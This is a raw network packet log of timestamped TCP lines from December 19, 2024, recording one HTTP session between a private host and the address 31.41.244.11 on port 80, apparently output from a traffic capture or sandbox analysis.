Dec 19, 2024 08:09:13.812695026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.812720060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.813771009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.813846111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.813868046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.813910007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.815002918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.815016985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.815083981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.815119028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.816102982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.816157103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.816231966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.816282988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.817339897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.817424059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.817461014 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.817476034 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.818469048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.818548918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.818584919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.818633080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.819767952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.819781065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.819832087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.819848061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.820924997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.820936918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.820975065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.821033955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.822127104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.822274923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.822304010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.822318077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.823293924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.823347092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.823353052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.823389053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.824390888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.824440956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.824496984 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.824584007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.825649977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.825706005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.825756073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.825922012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.826801062 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.826862097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.826939106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.826983929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.828052044 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.828064919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.828129053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.829216003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.829267979 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.829315901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.830503941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.830516100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.830573082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.831547022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.831605911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.831878901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.831928968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.832680941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.832752943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.832858086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.833061934 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.834427118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.834464073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.834475040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.834506035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.835231066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.835244894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.835279942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.835304022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.836483002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.836543083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.836711884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.836757898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.837466002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.837505102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.837553978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.838607073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.838670015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.838768959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.838814020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.839803934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.839868069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.840078115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.840145111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.841109991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.841123104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.841154099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.841177940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.842226028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.842272997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.842283010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.842324018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.843403101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.843462944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.843496084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.843591928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.844571114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.844635010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.844636917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.844679117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.845782042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.845866919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.845875025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.845916033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.846915960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.846972942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.847044945 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.847090006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.848201036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.848258018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.848323107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.848428011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.849286079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.849339962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.849483967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.849535942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.850449085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.850506067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.850555897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.850651026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.851685047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.851742029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.851753950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.851794958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.852826118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.852871895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.852936029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.852988958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.854053020 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.854110956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.854139090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.854183912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.855216026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.855278969 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.855309963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.855393887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.856393099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.856440067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.856492043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.856602907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.857601881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.857659101 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.857676029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.857726097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.858818054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.858854055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.858875036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.858890057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.859949112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.860006094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.860044956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.860236883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.861159086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.861202955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.861253023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.861301899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.862318993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.862382889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.862416983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.862461090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.863496065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.863554955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.863620996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.863672972 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.864687920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.864758015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.864814043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.864885092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.865888119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.865961075 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.865991116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.866030931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.867002964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.867064953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.996843100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.996860027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.996907949 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.996934891 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.997356892 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.997450113 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.997610092 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.997662067 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.997718096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.997843981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.998814106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.998862028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.998929977 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.998976946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.999983072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.000026941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.000092983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.000138044 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.001203060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.001251936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.001333952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.001384020 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.002362967 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.002450943 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.002489090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.002574921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.003567934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.003633022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.003688097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.003755093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.004708052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.004756927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.004929066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.004971027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.005923033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.006035089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.006069899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.006150961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.007097006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.007138968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.007173061 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.007215977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.008306026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.008356094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.008455038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.008538961 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.009440899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.009485006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.009552002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.009603024 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.010632038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.010698080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.010735989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.010781050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.011814117 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.011943102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.011951923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.012018919 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.013034105 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.013081074 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.013187885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.013227940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.014203072 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.014267921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.014379978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.014420033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.015419006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.015435934 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.015466928 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.015501976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.016592026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.016657114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.016839981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.016885042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.017762899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.017811060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.017851114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.017887115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.019129038 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.019140959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.019213915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.019213915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.020159960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.020217896 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.020308018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.020351887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.021344900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.021384001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.021394968 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.021436930 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.022556067 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.022627115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.022655964 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.022672892 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.023722887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.023772001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.023912907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.023993015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.024909973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.024951935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.024976969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.025058985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.026093006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.026171923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.026180029 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.026273012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.027251005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.027297974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.027406931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.027451038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.028428078 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.028476954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.028507948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.028551102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.029628992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.029673100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.029725075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.030137062 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.030930996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.030941963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.030980110 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.032002926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.032145023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.032201052 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.032247066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.033276081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.033291101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.033343077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.033343077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.034372091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.034403086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.034418106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.034444094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.035537004 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.035581112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.035650015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.035700083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.036729097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.036782026 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.036859035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.036911011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.037919998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.037992001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.038017988 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.038058996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.039081097 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.039135933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.039184093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.039374113 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.040271997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.040322065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.040352106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.040393114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.041470051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.041512966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.041568041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.041634083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.042686939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:14.042727947 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:14.042836905 CET	80	49802	31.41.244.11	192.168.2.6
